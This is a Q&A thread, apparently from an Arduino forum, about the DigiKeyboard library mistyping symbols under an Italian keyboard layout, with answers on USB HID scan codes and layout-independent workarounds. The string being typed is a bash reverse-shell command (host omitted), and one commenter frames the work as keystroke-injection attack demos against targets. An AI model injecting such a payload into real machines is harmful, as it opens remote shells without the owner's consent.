GOAL: I'm trying to use DigiKeyboard library but I'm facing a problem when I use print or println with character different from alphanumeric ones.

PROBLEM : I import the library as I've seen on others projects:

#include "DigiKeyboard.h"

Then I try to output this string "bash -i >& /dev/tcp/ 0>&1" using print method:

DigiKeyboard.print("bash -i >& /dev/tcp/ 0>&1");

But the output is messed up:

bash 'i :/ -dev-tcp- 0:/1

Could you explain how can I solve?

SOLUTION: changing my keyboard layout to English(US) solved my problem.

Anyway I have still a doubt. How can I make the library work also with others layouts?

  • Please tell us which library you use and where you got it from. Tell us the exact output. Add the extra information to your question. Are ascii characters converted to keyboard scan codes? Perhaps that conversion is not complete yet.
    – Jot
    Commented Sep 2, 2018 at 18:35
  • 1
    What language is used for the keyboard?
    – Jot
    Commented Sep 2, 2018 at 19:37
  • Italian but now I m trying to change layout
    – Maicake
    Commented Sep 2, 2018 at 19:42

3 Answers 3


The problem is your keyboard layout.

The USB HID protocol was originally intended to include keyboard layout information in it (country code selection in the descriptor) however no one ever used it. All keyboards have the same layout, but manufacturers just print different letters on the keys for different countries. It's down to the operating system to map those key codes to actual characters using the keyboard layout selected in the operating system. (The original intended method of operation would have allowed keyboards to select their own language instead of having a single global one in the OS, but people do like to choose the cheapest option...).

The Arduino is effectively a US keyboard. The letters and numbers you "print" are first converted to their keyboard codes as they would appear on a US keyboard. Those keyboard codes are then converted back to letters and numbers using your Italian keyboard layout selected in the operating system.

You would get the same effect if you got a US keyboard and plugged it in. Pressing the keys for the symbols as printed on the keys themselves you give you the same wrong characters. Pressing the keys that you are used to pressing and ignoring what is printed on the keys would give you the right symbols.

So you have a number of options:

  1. Use a US keyboard globally on your computer, which would break your existing keyboard layout, or
  2. Modify the Arduino core to map the characters using an Italian keymap, or
  3. Work out which characters you should be sending to get the right ones for your keymap, and change your code to send those characters instead.

Of the three I'd go for option 3. Option 1 would be too annoying, option 2 would be undone with the next Arduino core update and you'd never remember what you did. So spend some time and work out which characters, when you print them, result in which characters being typed.


You might check out my fork of DigistumpArduino library (https://github.com/rsrdesarrollo/DigistumpArduino) with full keyboard layouts support.


The keyboard layout is the issue here. To make a sketch that will work independently of the keyboard layout, my current strategy is to use the Alt+ASCII code method (press and hold ALT, then enter the ASCII code of the character on the numeric keypad, then release ALT). I'm going to implement that in a fork of DigiStumpArduino's print/println function. This will cost performance (5 keystrokes insted of 1 to 3) but should be completely layout-independent. I'll definitely make the code freely available if/when it works.

  • Isn't this input method Windows-specific? The OP doesn't seem to be using Windows. Commented Jul 25, 2022 at 12:34
  • That's mostly correct, well spotted! However, on many Linux desktops, Shift+Ctrl+U, then the Unicode character code, then Enter will work. I use Linux a lot but most of the systems I need this for (to demo cyber attacks) are running Windows. Thanks for pointing this out - gong to the Alt+Num methods removes the keyboard layout dependency but intruduces an OS dependency. This may or may not be an issue for many use cases as most exploits are already OS dependent but one would not necessarily know or control the target's keyboard language. Commented Jul 27, 2022 at 15:29

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Not the answer you're looking for? Browse other questions tagged or ask your own question.